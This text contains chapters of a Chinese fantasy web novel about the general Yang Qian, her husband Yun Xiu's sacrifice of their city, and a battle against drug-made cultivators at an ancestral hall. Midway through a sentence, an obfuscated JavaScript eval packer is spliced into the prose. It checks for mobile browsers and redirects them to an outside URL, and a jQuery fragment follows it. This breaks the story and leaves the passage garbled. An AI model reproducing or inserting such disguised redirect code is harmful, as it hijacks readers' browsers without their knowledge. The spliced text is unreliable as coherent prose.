“啪嗒”,杨浅手里的玉佩折成三块残片,她疯狂地嚎叫着,似乎这样才能为自己的疯狂找到一丝站得住脚的借口,“反正云家人都该死!!她姓云她就该死!!” 云岫还没有见过这样面容扭曲的杨浅,想到她曾经阳光明媚的笑容,不禁悲从中来。 他放开妻子的双手,转而正色地凝望着对方,一字一句道:“可是阿浅,你问过我愿意吗?我愿意踩着岩妹的性命活着吗?我愿意背负着一城人的性命活着吗?” 也许是从来没有想过会得到这样的答案,杨浅还没来得及擦干的眼泪就那样直愣愣地挂在脸上。 清亮的眼睛里满是茫然,她像个懵懂的少女,偏着头望向心爱的人,似乎没有听懂他的话,“你不愿意吗?” 真可爱啊! 云岫想,没办法,他好像命中注定要爱她。 他深吸了一口气,调整了自己的姿态,朝着闻砚深深鞠了一躬,作揖道:“要多谢闻砚大人。” 闻砚:啊? 云岫道:“我头七那日,闻砚大人恰巧路过绒城,心中不忍于是留下来帮城中百姓超度。” 闻砚:啊? 见四双眼睛齐齐看向自己,她“哈哈”尬笑了两声,不知道该不该认下这一桩早就不记得的好事。 云岫则神色一暗,“我当时魂魄离散,飘在府中徘徊不走,您安慰我说若我还有遗愿未了想要还阳,可以去忘川城的有间酒肆,那里有一位貌美如花的姑娘法力高深,可以帮我还愿,”他赧然,“当时没想到居然是您本尊。” 这不要脸的话倒像是她说的,闻砚点点头。 “但说来说去,其实是我对不住大家。” 随着云岫一声声的对不起,时间仿佛又被拉回到羯人铁蹄屠城那日。 那是杨浅出征的第十七日,绒城在此起彼伏的蝉鸣中悄然迎来了夏至。 土地被当空烈日烤得煎脚板,但士兵们没有松懈,一个个挺拔如松竖立在城头放哨轮岗,身后是他们的家。 云岫接替了安防的职责,一大早由亲信推着轮椅在城中例行巡视。 轮椅行过巷子口时卖饼的大娘叫住他。 往日里花白的头发不过短短几日便连根黑发都找不出来,苍老得不像样,她见着云岫颤颤巍巍地递给他一碗豆腐脑,满脸的愁容,担忧道,“岫公子,您说这仗什么时候结束啊?” 可她的豆花云岫不敢接,她唯一的孙子跟随杨浅上了战场。 她的问题云岫也答不上,杨浅从昨日开始已经与他断了联系。 他也盼着大军早日得胜归来,盼着他心爱的姑娘能毫发无损地回到他身边。 “杨将军一定会早日归来。” 他那样期盼着。 聚过来的群众越来越多,大多是手无缚鸡之力的老人和还在牙牙学语的孩子。 “朝廷不是说会派兵增援吗?”有扎着羊角辫的小姑娘提出疑问。 云岫答不上,京都那边迟迟无人动身,大言不惭地说着一切都仰仗杨家军。 可他答不上,自然有人替他答。 有人一路小跑着追过来,是他从京都带来的亲随小安。 “公子,公子,是京都来的信,老爷已经说服陛下派兵支援北地了。” 小安兴奋地扬了扬手中的家书,一双大大的亮晶晶眼睛像极了杨浅。 终于不会再有人再笑话他家公子吃软饭,靠媳妇儿了。 他扬眉吐气,得意洋洋地大声道:“使者就在衙内,是二房的植老爷和峪公子,现带来了三百随从和兵器,就在城郊二十里地等您回来处理此事。” 在场的民众们无不惊讶,随后而来的是铺天盖地的赞美。 “岫公子厉害啊,” “不愧是出身名门,上清云氏百年氏族……” “多谢岫公子,多谢小杨将军,我们有救了,” 所有人都长舒一口气,心道,有了朝廷的支援,晚上终于能睡个好觉。 殊不知,这哪里是什么支援,简直是他们的催命符。 说来也巧,云岫一向是睡的早的,偏那天夜来觉浅,夏日蝉鸣不停,他望着额顶皎月,不知道杨浅此时是在思念他,还是因为战事焦头烂额? 他抿了抿唇,想起妻子在书房里一边看书一边打瞌睡的情景,心中一软,阿浅定是紧绷着坐阵三军吧。 他想。 杨浅一路走来是那么不容易,军心,君心,平衡其中早已精疲力竭,他不该和她置气的,若是没有那场争执,或者他先低头,二人何必白白浪费四年光阴。 索性也不晚,待阿浅归来,他们的好日子还在后头呢。 可若是战事吃紧,阿浅遇到危险怎么办? 云岫心中忐忑,左翻右翻地大饼烙了十几张,人却睁着眼睛怎么都睡不着,索性自己一个人推着轮椅四处溜达。 然后他亲耳听见他的亲叔叔对他的亲哥哥说:“杨家不倒,陛下不会安心,陛下不安心,云家就永远不能更上一层楼。阿峪,弃卒保帅,孰轻孰重,不用我再教你了吧?” 云峪没说话,用沉默代表了自己无声的对抗。 他并不同意父辈的决定,可二叔有君令在手,他不敢不听命。 但要他杀弟,他做不到。 云二老爷满脸失望,闭了闭眼,似乎妥协了:“好,我可以晚一点再动手,羯人后天一早从西门入城,你如果要带阿岫离开绒城必须在明日酉时前,但记住,只能带阿岫一人,不要声张。” 动手?动什么手? 直觉让云岫预感大事不妙。 有时候男人的直觉也是可怕得吓人,因为很快云峪的话便应证了他的猜想。 次日清晨,云峪约他前往城郊十里忘忧亭。 “让三城给羯人这是君命,君命不可违你,阿岫,我们作为臣子只能服从,你明白吗?” 云峪是云老爷的第一个儿子,曾经家族对他寄予厚望,奈何儿子和教书的老古板们待在一起待久了,书读傻了,过于敦厚而少主见,因此被云老爷不喜。 弃卒保帅,云岫是卒,他也是卒。 否则这样有失道义的事情,为何不派别人做,偏偏要他来?分明是一早就打定了主意,日后一旦事情败露就拿这个看似很重要实际并不受待见的长子去填坑。 可要填坑的卒子本人并不知情,他见云岫不说话,急了,“四弟,你就听大哥一句,别回去了,算了。” 云岫看着那张和他七分相似的脸,有一瞬间觉得这个世间如此陌生。 他在心里呐喊,“你知道北地的安稳来得多么的不容易吗?你知道北地的百姓生活着日日都胆战心惊吗?你知道是谁在与外族厮杀,只为了给这片土地上生活的同族挣一片生存的土地? 今日你说让三城便让三城,这土地不是他京都城龙椅上那位的,不是京都城里高高在上的氏族老爷们的,是这城池里世代生存的百姓的啊!” 他的心在流血。 但当他对上云峪那双已经被世俗裹挟被家族束缚的双眼时他心里只剩下一个念头,完了,他再也见不到杨浅了。 此时云岫觉得自己和云二老爷的表情一定如出一辙,失望,欲言又止,最终都变成了闭眼。 他不忍再看。 云峪不忍手足相残,那便由他来做这个千古罪人吧。 一行清泪沿着他山峦起伏的脸颊跌落,在脚下扬起一阵轻轻的小小的尘埃,如同他的声音一样轻,“大哥,对不起。” 然后云峪清清楚楚地看见他一向没瞧进眼里的那个半死不活的弟弟亲手抽出匕首毫不犹豫地捅进他的胸膛。 他睁大了双眼看着眼前羸弱的男人,还是和少年时期一样单薄,但又和记忆中的不太一样了。 他努力地睁大眼睛想瞧清楚些,瞧了半天,突然发觉自己根本记不得云岫少年时的模样,他们好像素未谋面的陌生人。 最后他的血液流干了,他死了。 生命的逝去如同秋风卷起枯叶,说落便落,毫不留恋。 夏风中有扑面而来的血腥气,熏得云岫的手止不住地抖啊抖,实在抖得厉害,他干脆咬着牙用另一只手按住不听话的四分之一肢,拿起帕子胡乱擦着自己满头满脸的血污,然而怎么擦都擦不掉那股令人作呕的血腥。 他怎么就杀人了?杨浅第一次杀人是不是也和他一样颤抖害怕呢?应该不会吧,那个女郎一向胆子大得很,敢冒天下之大不韪。 如今他也要冒天下之大不韪了。 可为何他的心绞痛得这么厉害呢? 云岫忍着喉头的甜腥,强装镇定地命令身边人,“传信下去,今晚子时绒城会开西角门,遇到云二老爷,一个字都不要听他说,立刻绞杀。” 亲随小安像见鬼了似的,“啊……啊?” 弑兄,杀叔,通敌,公子是疯了吗? 云岫心里当然清楚这么做意味着什么,违背圣意乃是不忠,弑叔杀兄乃是不孝,以小博大是为不仁,里通外族是为不义,他就从此变成了不忠不孝不仁不义之徒。 可他没有办法了。 他要疯了。 三日后等到羯人准备周全,别说一座绒城,便是连丢三城都算好的,更可怕的是三城人的性命恐怕犹不能使羯人满足,请神容易送神难,届时还要用无数的银钱贡品去填。 自新帝登基以来国库空虚,徭役赋税本就繁重,再要上贡就只能从百姓的口袋里刮油,没有油就刮肉,再刮不出来就割地赔偿。 他似乎已经看见了整个大梁的水深火热。 又预见了皇帝的下一步计划,以连丢三城来指责到杨家军失职,用养寇自重的污名来指责杨浅的不忠,最后抄家、灭族、放弃北地的管辖权。 而这些罪名最终都会罗织在女儿身的杨浅身上,她辩无可辩,只能以死谢罪。 因计划乃皇帝御笔亲批,外族羯人做打手,夫族云家人亲自操刀,京都城里的达官贵族默认,是四面环抱全方位无死角的围剿,别论你有什么证据手段,北地的人有一个算一个,一个都跑不掉。 这是一个绝杀的局,一个从一开始就算无遗策的局。 他思来想去便只有一个办法能破此局—在所有人都没准备好的情况下先破了绒城。 绒城破关,杨浅得到消息一定会想办法回援,届时羯人尚未成气候,这局不攻自破。 千罪万罪,便只罪在他一人吧。 云岫冷漠的眉眼变得陌生又阴冷,“啊什么啊,快去!” 硝烟、战火、哭喊和亡魂…… 杨浅泪流满面,“所以你……” 云岫点点头,“是我自己愿意的,”他温柔又坚定,“阿浅,是我自己不愿意再活着了,担着一城人鲜活的性命苟活,担着对我心慈手软的兄长的性命苟活,阿浅,我太难受了。” 那我呢?杨浅很想问一句,那我呢? 窗外月明星稀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363388|168128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一如当年她离开绒城时一样。 她望着眼前这个男人,最终还是什么都没有说。 沉默是今晚的月亮。 可她不说,不代表别人不问。 “杨将军自幼师从良将名师,当年出征虽然是迫在眉睫,但细细想来总是透露出诸多疑点。你之前给我们讲了一个前因后果十分清楚的飞鸟尽良弓藏的故事,那之后你便真的毫无防备吗?” 闻砚一针见血。 是啊,在明知道君主忌惮的情况下,她真的毫无防备吗? 若是旁人自然有可能因一句君要臣死臣不得不死的教训压着压着便坦然赴死。 可她是杨浅,是以女郎身代行儿郎事的杨浅,是自小发誓要踏平世间一切不平事的杨浅。 她怎会甘心? 她不甘心。 这种不甘心在她拿到手中的京都秘报时,达到了顶点。 为什么?凭什么? 凭什么上位者一句话便要拿无数的人命去填?这些人命贱吗?可他们也是父母、是子女、是妻子的丈夫、是夫君的娘子、都是肉体凡胎娘生爹养的,谁又比谁高贵呢? 女郎的手背上青筋爆起,指骨节捏得煞白。 “狗贼……罢了,”杨浅欲言又止。 在她身旁,点卢的正红色枪穗在风中激荡,一如泼墨鲜血般潇洒淋漓,良久,她摇摇头失笑,自己早已经过了肆意妄为的年纪,也失去了任性胡来的资格。 理智回笼,她的眼睛里重新撩露出霜刃般凌厉的肃杀之气,既然狗皇帝要和她玩,那便玩个大的,一劳永逸。 “放云家人过去吧。” 杨浅冷冷道。 王副将十分不解,抓耳挠腮道:“将军何须如此?您不下令,皇帝老儿拿您也没有办法,他把咱们支出来不就是为了趁您不在北地又玩栽赃嫁祸那一套吗?北地岂容他们放肆胡来,而且……岫公子毕竟是云家人,若是您与云家人起冲突他怎么办?” 她不知道。 但她的理智始终牢牢地把持着上风,“放云二老爷过去,找个由头,把姓熊的扣在新阳关。再派三百骑兵轻装简行包抄竭城,我要瓮中捉鳖。” 云家人虽是百年望族姿态狂悖,却不擅长排兵布阵,但熊将军不一样,他是天子近臣又是武将,他一来便知道这是她与天子的博弈,是个圈套。 所以这个导火索只能是搅进浑水里的上清云氏。 杨浅站在山头远眺,山下的四方城里的一派热闹与喧嚣仿佛近在眼前,有街边小贩的吆喝声,有小丫鬟们互相打骂的俏皮声,卖花的姑娘含情脉脉地看着自己的情郎,卖豆花的大娘又在喊她家小孙子回去吃饭,卖货郎跛着一条腿一瘸一拐地走过西街药铺,只为了看一眼自己一直偷偷喜欢的姑娘…… 微风拂过,有花叶落在她的肩头。 一如当年梨花树下她初见云岫时那般模样,只不过如今再没有人会为她拂去落叶残花。 感情在这一瞬间死灰复燃,重新占领高地,杨浅默了默,还是于心不忍道:“想办法让云大公子跟随云二老爷一起去。” 云大公子庸碌懦弱,却是读圣贤书长大的,做不来谋害亲族的事情,待到实施计划时必然会与云二老爷据理力争,而云二老爷自私自利且目光短浅,是个没有主见之人,为了不破坏计划的进展多半会默认云峪保下云岫。 “派人在城郊等着,云大公子把岫公子骗出来后,把岫公子打晕了扣在驿馆,此番事了我再接他。” 她要拿云家杀鸡儆猴,却还想着留云岫一命。 由此可见这个杀伐决断的叛逆将军并不像云岫以为的那样冷漠无情,只不过她的爱不够纯粹,也不够放纵,她要守护的东西太多,能分给爱情的又太少。 然而在这很少的爱情里,她把位置全部留给了云岫。 王副将是杨家旧部,跟着杨浅的时间最久,久到喊出她从前的旧称,“小姐,需要告诉岫公子前因始末和您的部署吗?若是岫公子……岫公子选择了云家,不肯和大公子出城怎么办?或者向您求情,放云家人一条生路……总之您亲自去,太冒险了。” 他不会,杨浅心中默默道。 但她并没有将这话说出口,百姓的福祉与个人的私欲孰轻孰重由不得她计较,她不能因一己之私冒这个风险。 “不必多言,你们按计划行事吧,岫公子那边我亲自去接。” 云岫身份特殊,她不能告诉云岫自己的计划部署而置北地百姓生死于不顾,却甘愿以身涉险,亲自去接他。 偏偏造化弄人。 她想到了云岫不会和云家人同流合污,也设想过云岫包庇亲族,却怎么也没想到在她心里温润如玉的公子哥居然有以身殉城的勇气。 杨浅捂着脸,回想起她看到的那一幕,“我集结了人马准备把皇帝那狗贼的人困在城中活捉,想拿着人证物证直接去京城对峙,揭穿那狗皇帝的真面目,却没想到等来等去没等到羯人入关,却等到了骑兵屠城。” 当时她手握缰绳御马站在十里地外的峡隅谷,面前是一堆烧干净的断壁残垣,身后是数十里的万丈深渊。 进无可进,退无可退。 黄泉枯骨,满目疮痍,那一刻,她后悔了。 她做了大梁的将军,做了杨家的家主,做了北地百姓的保护神,却独独辜负了自己最爱的人,辜负了丈夫的心意。 这还真的是可以称得上一句造化弄人,可怜又可叹。 但说到底还是因为两个人不够信任对方,或者说他们的爱情一开始就夹杂了利用,又在最有可能交心的时侯产生了误会,最终导致两个人一直雾里看花,用尽全力却渐行渐远。 闻砚正沉浸在这反转反转再反转的故事里,忽听长离沉声打断道:“小心,有不下百人术士在靠近这里。” 还未来得及言语,那把破伞又重新回到她手里。 12. 平地起惊雷 祠堂四周连风吹树叶的沙沙声都消失得无形无踪。 很不对劲。 闻砚不动声色地将三青盘在腕间,青铜弓身似有莹莹之火映照着她的光洁的侧颜,青火白面,看起来是鬼无疑,却意外呈现出一种诡异的刚烈浓艳来。 鉴于杨浅之前有前科,她首先警惕地看向杨浅:“你想做什么?” 然而这的确是一场误会。 因为本身这事儿杨浅并不知情。 于是在庄通带人围上定北都护府的时,杨浅再也装不下去什么恩爱夫妻,手起刀落,猛得抬手朝庄小哥脸上飞出一枪。 点卢破空长鸣,带着疾风劲力直扎庄通脑门。 可惜意料之中的惨剧并没有发生,没有血溅当场也没有脑花飞溅,点卢以一种极其诡异的姿态被迫转向钉在一旁昨晚庄通抱着吐过的廊柱上。 妾室丽娘娇娇弱弱地倚在庄通的胸膛,十年如一日地夹着嗓子娇滴滴道:“姐姐好凶啊~夫君说了,若是交出武神真身,可留姐姐全尸~~” 这可真是活久见!! 闻砚还以为是自己有些日子没来阳间换了规矩,瞠目结舌地缩在她那把破伞里,一根手指颤颤巍巍指向庄通身后那群密密麻麻的人影,小声问:“难道是我记错了,现在你们道士修仙也能参与凡人因果了?” 按理修道者要禁欲,讲究顺应天时,因此许多教派明令禁止弟子违反规定,宽松些的禁酒禁赌,严苛些的禁色禁荤,但总的来说有一条是绝对不允许的,那就是参与俗世纷争。 一来凡尘俗物斗争不断,重欲轻思不利于清修,飞升之时必受干扰,将来难有大成,二来修士和凡人之间差距悬殊,有天道屏障来克制自上向下的碾压,若是一味追求力量祸满他人,必遭天道反噬。 所以修道者不能参与凡尘事是约定俗成的规矩。 当然这些规矩非得上三届的神神鬼鬼才知道,她根本没想有人能此时答她。 可出乎意料的,有声音淡淡地从闻砚头顶飘出来。 “不是。” 不是?什么不是? 闻砚转头循声望去,只见长离微扬下颌示意她看看身边围得严严整整的术士。 整头整脸,两眼一鼻,没什么问题啊……这……闻砚突然感到一阵头皮发麻。 这些人根本没有飞升的命格,完完全全是一群拿药堆出来的假道人!! 疯了疯了,感情这才是真疯子啊。 闻砚感慨间,一旁的杨浅也从旁看出些门门道道。 她眯着眼睛,满目肃杀之气,“陛下还是拿人试药了?” 俊俏的脸上哪见方才面对长闻二人时的稀松,显然这才是真正动了杀心的样子。 许是身边有许多人撑腰,先前怕得要死的庄通此刻也不怕了,团着手笑眯眯答:“郡主这话说的真奇怪,陛下乃天下之主,要做什么谁还能阻止?更何况,能有修仙资质的人古往今来能有几人?而我身边这些术士仅凭丹药就能喂养出来,一下子便能有数百人,轻易便能打破天资束缚这是多少人求都求不来的。” 好家伙,居然量产术士,真勇士。 这些人资质不够并没有可能飞升成仙,却能依仗法术帮皇帝做许多见不得人的勾当,又因有飞升这根胡萝卜吊在驴脑袋前面,想要更近一步需得倚仗皇家御赐的丹药修行,可不就是皇室最忠心不二的打手? 如今这位龙椅上的行事作风也太毒辣了些。 闻砚不由地在心中竖起大拇指,啧啧称奇。 不过想来也是,能想得出用外敌屠城搬倒政敌夺取兵权的君主古往今来又有几人呢? 说是有资质成仙的凡人少,可当皇帝当到这份上的一只手也数得过来。 真真是屈指可数。 事情到了这一步,杨浅显然也没把握能杀得完这群怪物。 她阴沉着脸表情极为不耐烦,“哪来什么真神假神,我杨家满门忠烈只会杀人,让你们陛下哪里来的回哪里去吧,他要得道成仙还是做千古一帝都与我杨家无关。” 杨大将军为了麻痹皇帝忍着恶心装恩爱夫妻装了这些日子,今日见过云岫,实在是装不下去了,索性同庄通撕破脸,翻着白眼道:“你若滚回他身边去做狗,我不拦你,可你要找我晦气,也别怪我没给你机会。” 这姑娘破罐子破摔的样子倒是和闻砚很像。 长离想到闻砚抄着手翻白眼的表情,几不可见地扬了扬嘴角,想笑又不敢笑,勉强压着嘴角抱着胳膊转头面向另一个当事人,板着脸仿佛无声地审视。 明明有玉带掩目,闻砚却莫名地从那张面无表情的脸上看到了一丝戏谑和嘲讽。 这边站在人堆里的庄通显然也一样不想再忍了,他平日里怕这女人怕得要死,可今时不同往日,他有这数百名有修为的术士在手,杨浅再是征战沙场杀人如麻也不可能打得过。 男人好不容易扬眉吐气一回,又有十拿九稳的把握,怎么可能退让,喊出了他早就想喊的称呼,“庄杨氏,你违逆圣意,因绒城一事数次逼迫陛下割让北地与你,你真以为陛下会任你胡来吗?” 他朝着身后面无表情地挥挥手,道:“东西就在祠堂里,你们去拿吧,若有阻拦,死伤不论。” 话音落地,他身后那些团手而立像一根根木桩似的药人术士们便如同被操纵的木偶一个个活络起来,一起朝祠堂身后的密室涌去。 --- 血色漫过青铜战甲时,杨浅的玄铁枪正钉在第七具药人尸身上。她反手抹去脸上血污,腰间虎符撞在残破的幡布门柱上,发出沉闷声响。 "他妈的,狗皇帝养的狗的确不一般,咬人可他爹的真疼。"她偏头躲过飞溅的毒血,看着不远处被长缨穿成串钉在祭坛上的尸山血海,对不远处的庄通道,"早说你要找的是我杨家家神,又何必装腔作势虚与委蛇地白做一年夫妻。浪费时间!" 庄通目光闪烁,心虚地偏过头,半晌忽得笑了,不要脸道:“我知道你这贼妇狡诈得狠,不与你周旋探得秘宝,岂不是辜负圣恩。”他嬉笑着,不知嘴里念了句什么叽里呱啦的鸟咒,祠堂里顿时刮起一阵妖风。 驱邪桃木剑还悬在炼魂阵中央,可惜长离和闻砚来得突然,上面的朱砂符箓杨浅并未来得及完成,功效大减。 可此时杨浅哪里顾得上这么多。 什么强行启动禁制带来的反噬,什么身死魂销黄泉枯骨,她抬手便要去摸阵眼,耳边却忽然响起云岫惊呼:“阿浅,躲开......" 语起惊雷,夹杂着疾风呼啸,明明只剩下半副生魂吊命的云岫被人一剑劈成了两半。 要魂飞魄散了吗? 杨浅望着蜷缩在脚边里的半透明魂魄,喉头似有波涛骇浪滚动,行至一半,却偃旗息鼓,只憋出“嗷嗷”两声凄厉沙哑的悲鸣。 而这两声悲鸣很快便被打断,“别嚎了,他死不了。”闻砚的声音从弓弦处传来,带着琉璃相击的泠泠声,面无表情道。 不知何时,那把黑漆漆的富丽堂皇的洒金琉璃伞从主人的手中跌落在泥地里,如风尘仆仆的老者,伞主人却容光焕发显露出新的生命力。 她右脚一勾,一把抄起被撕裂的两片灵魂,手上却没闲着,几乎是一瞬间,三青的箭矢带着疾风劲力将庄通死死钉在满是牌位的灵墙上。 然而失去琉璃伞的庇护,闻砚的魂魄也被迫显形。 黑袍下,红艳的嘴唇变得越来越淡,裸露在外的脚踝处被禁制铸成的鎏金锁链牵扯地哗啦作响。 她不得不停下来,强忍着禁制和破晓晨光带来的极大压力,搭箭的指尖凝出不熟阵法的红色火焰直逼长空:"兑位巽三,杨将军,破他气海!" 然而还是晚了一步。 "小心!" 闻砚的警告与破风声同时刺破黎明天幕。 本该气绝的文士突然横空暴起,胸腔中咻地窜出九条血藤直奔杨浅而去,点卢长枪不愧久经沙场,跟随主人本能一挥便拦腰斩断三根,剩余藤蔓却抄闻砚的三青而去。 显然,庄通也吃过那些强行灌入修为的灵丹妙药。 男人狞笑着扯开护肩,仿佛感觉不到疼痛似的露出被煞气腐蚀的狰狞伤口:"我倒不知道郡主娘娘还会这些邪魔外道,养着小鬼居然如此难缠。” 显然是把闻砚当作小鬼了。 就算杨浅并不真的认识眼前这个女鬼,但她听见云岫的话,又见长离与她同行,心里很明白这个女鬼恐怕并不是普通的怨灵,而是真正有本事的,此时被比作受人差遣的小鬼……此等侮辱…… 杨浅想想就觉得难受,她像针扎了似的赶忙回头去看闻砚。 闻砚:…… 第一次,闻砚觉得杨浅这姑娘其实还是有些可取之处的 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不过闻砚虽然不好受,那些被药催出来的术士就更不好受了,一个个被这阵法打出的烈焰灼伤,歪七扭八地倒在地上不敢再往上扑,算是短暂地控制住了局面。 两方焦灼,一方不敢再进一步,一方又退无可退。 然而看似在场的是两方,实际上也可算作三方。 公平公正的第三方和事佬闻砚:“各位,先来后到,你们要武神真身是你们的事,杨将军已经答应我们要将瓶里装着的那位作为报酬支付,”她很自觉地把自己归到武力值最高的长离那一方,提出解决方案,“不如让杨将军把魂瓶请出来,我们再争论也不迟。” 这话说的巧妙,一边是祸水东引,提醒杨浅她还有长离这个大靠山再次可以眼前应付香插满园的术士们,一边是威胁杨浅,以她与长离的手段,想要乱局之中浑水摸鱼简直不要太得心应手,这个第三方究竟是哪方阵营全看她当下做出何种选择。 闻砚丝毫没有趁人之危的歉疚,好整以暇地望向杨浅,微微笑道:“杨将军,请吧。” 人都说风水轮流转,这回是轮到杨浅冷汗涔涔了。 可她的软肋云岫此刻正在人家手上性命堪虞,杨浅还能怎么办呢? 魂瓶乃白底蓝胎一尺高的双耳瓷瓶,周身散发出隐约的红光,由三层红痕密宗符咒链将瓶身里外三层裹得严严实实。 杨浅小心翼翼,在长离的示意下将瓶子递给闻砚这个第三方,由她代劳稳稳当当将魂瓶抱在怀中。 乍见着实物,庄通的眼睛绿的发光,不错眼地盯着闻砚手上的东西伸手就想去摸。 闻砚哪能轻易让他诓去,衣袂飘飘若轻纱拂晓,实体瞬间如烟散去。在场的人除了长离无一不惊讶,尖叫着争先恐后去争抢正在自由落体的宝贝魂瓶。 然而不过须臾,闻砚又重新在长离身边聚拢,那瓶子也如同顽皮小童一般撒着娇紧紧黏在她手上。 “庄小哥,你别心急呀,这瓶子里的东西喜欢我呢!你再动手,我吃了你哦!” 她笑嘻嘻道。 庄通当然知道,讽刺的是他之前还被闻砚吓得昏过去,这会儿见着真鬼反而一心一意心里只剩下那升官发财的武神真身了。 人既没有法力也没有妖术,之所以能在这六界之中占有一席之地很大原因是他们足够不要脸。 庄通这样的显然是其中翘楚。 “小人岂敢,”他似乎忘记了那一箭穿心的痛楚,躬身团袖行了个虚礼,眼睛还没从魂瓶上挪开,下一秒,数百只贴着驱魔符纸煅成的利刃便齐齐朝闻砚射去。 所有人都没想到庄通的贼胆这样大,居然中途变卦出千,闻砚是个打架打惯了的,正准备春风化雨避开这一劫,不晓得从不知道哪个犄角旮旯冒出来个二愣子,作势一把抱住她的腰。 鬼魂虚无缥缈,虚实相间,闻砚连微微侧身都用不着便能不沾一分衣袖得躲开,只可怜那好端端存续千年的魂瓶,意外来的突然,闻砚手腕一松,瓶子在她手里砸了个四分五裂。 千年的阵法失去目标瞬间消失,没有禁制的压制,法力再次充盈着闻砚的全身。而这一次她盛纳的法力似乎更强大,撑得她丹田肺腑不停翻腾。 众目睽睽之下,一口黑漆漆的鬼血就这样喷在一堆碎瓷片上。 13. 尘埃落定时 倒地的一瞬间,闻砚能清楚地感觉到有人轻柔地揽过她的肩头。 有源源不断地法力从她全身游过,最终停留在她洪水滔天的气海中,很快,她体内的法力居然在这极限地拉扯中莫名其妙地达到了一种平衡。 那种熟悉的感觉再次浮现脑海。 她似乎在懵懵懂懂的漫漫岁月中无数次经历过这样的场景,可……怎么偏偏一点儿都想不起来了呢? 闻砚感觉自己的脑袋裹在云层里飘飘乎乎,下意识地靠在身后宽厚的胸膛上支撑着稳了稳身形,鼻尖却不受控制地被那股若有似无的香气包围吸引。 是长离身上的味道,一种不尽木混杂着水气的味道。 真好闻啊。 闻砚私心想着,眼角却瞥见白衣小道长一手托着她的肩,一手干脆利落地剑起剑落,方才还呼呼啦啦铺开的修士们此刻全都像被拦腰斩断似的,以一种极其诡异的姿势在地上手牵着脚扭来扭去。 也许是因为情况危急,这是他第一次在旁人面前毫无掩饰地使出那把红玉灵光剑。 那把剑,虽然被拔出来的时间只有一瞬,但足够闻砚清醒过来,她震惊地指向长离:“你不是道士?” 长离面不改色,“我何时说过我是道士?” 好吧,他的确没说过,一直是她以貌取人。 闻砚悻悻然:“我现在相信你是陵光神君座下了,只是不知道你是侍奉神君的哪位弟子?” 陵光剑啊,那可是陵光剑,如果不是近身侍奉的座下门徒,谁能使得动神明佩剑!!! 想到这里,闻砚不由面色一僵:“我……我……” 她刚刚还搞砸了陵光神君的魂瓶,虽然她并非本意,方才不知道为何手腕突然发酸,可到底是砸在她手里的…… 此刻面对事主她难免有些愧疚。 谁知长离并没有像她想象的那般与她为难。 他隔着衣袖非常克制地捏了捏闻砚的手腕,把着并不存在的脉搏,轻轻地笑了,道:“既然她喜欢你,便随她吧,可否借姑娘魂魄一用。” 开什么玩笑,什么就一用??? 闻砚满头包:“怎么就一用了,我不要。” 长离指着地上碎成渣渣的瓶尸:“可是……” 闻砚喜笑颜开:“好呀好呀,借陵光神君一用,没有问题。” 笑话,神魂,谁借谁一用还不一定呢,她又不吃亏,反正要是让她负责将瓶子复原她是做不到的。 能屈能伸的闻砚大人岂是一个不负责任的小气鬼!! 二人说话间,一直赖在地上装死的庄通趁人不备,一骨碌爬起来直奔云岫排位而去。 方才长离剑气横扫的一瞬间他立刻佯装倒地,之后便一直在想,已经失去了武神真身,又折损了这许多人,他该怎么向陛下的交代。 都说绝境能激发一个人最大的潜力,这么短时间内,面对死亡的威胁,真还叫他想出一个好办法。 时下人们坚信人之所以能凝聚魂魄乃是因为享受了人间供奉的香火。 而牌位正是香火的象征。 擒贼先勤王,他只要拿到了云岫的牌位,也就拿捏住了杨浅的命门。 解决了杨浅也算是解决了陛下的心头大患吧,而且按大梁律法,夫杀妻最多徒三年,留得青山在,不怕没柴烧。 打定主意的男人绝境求生,挣扎中倒还有把子力气,唯一剩下的藤条拼死一搏真让他卷到了云岫的排位。 “庄杨氏,你若自戕,我便放你的姘头转世投胎,如若不然,叫他魂飞魄散。” 他手握黑木白字的灵牌,见几人都不敢轻举妄动,咧嘴狞笑着,似乎已经看见杨浅气绝身亡的模样,然后在这张狂的笑声中夹杂着“噗呲一声”,如泄气的皮球。 男人难以置信地低头看去。 一只每个圆圆的指甲上都染了凤仙花的手贯穿他的胸腹正滴滴答答地淌血。 居然是那个娇滴滴的妾室丽娘。 “丽娘”没有犹豫,直接无视了男人质询的目光,干净利落地回首一掏,一颗扑通扑通鲜红多汁的心脏水灵灵地被递到杨浅面前。 “郡主姐姐,我做的好吗?” 她扑闪着一双明亮清澈的眼睛,一副我见犹怜的模样,根本没注意到自己此时满脸血浆,只将全部的目光聚焦在杨浅身上。 此刻却没有一个人接她的话,身为凡人的云岩早就吓得晕厥过去不醒人事,长离自不必说,是个谁都不爱搭理的,而杨浅更是一脸吃惊。 丽娘是她的人,但是她只是让她监视庄通,没让她徒手挖心啊!! 太生猛了。 这一切都超出了她的预料。 而这边闻砚也看出点门道,她盯着“丽娘”问道:“你是……小囚牛?” 这位庄通的小妾,分明是只还未成年的小妖。 她顿时头痛欲裂,“你怎么在这儿?你爹找你找疯了,我出门之前还听说他在上三界发飙呢!” 妖杀人,虽说是这人找死,可说到底是违背天道的,估计日后麻烦不会少,届时真计较起来少不得一番争论,可偏偏她和囚牛的爹,那个不知道活了多久的大妖黄龙是牌友,到时候作为目击全过程的老熟人,她很难办啊...... “丽娘”却丝毫不觉,她歪着头不明所以,认真道:“我在报恩啊,”她抬着血淋淋的胳膊指向杨浅,“郡主姐姐是我的知音,我出来游历被困青楼,是姐姐从人的手中救我于危难,她的忙我肯定要帮的,大人若是见到我爹直言便是。” 帮忙帮到这个份上,好吧孩子,你赢了。 闻砚两眼一黑,连分贝都提高了两分,“真正的丽娘呢?你不会连她也杀了吧!” 杀庄通这样有违天道的半个修行的人尚可分辩两句,若是杀了毫无过错的丽娘这后果可不堪设想。 然而“丽娘”目露困惑:“什么真的假的,丽娘一直就是我啊,我就是丽娘。” 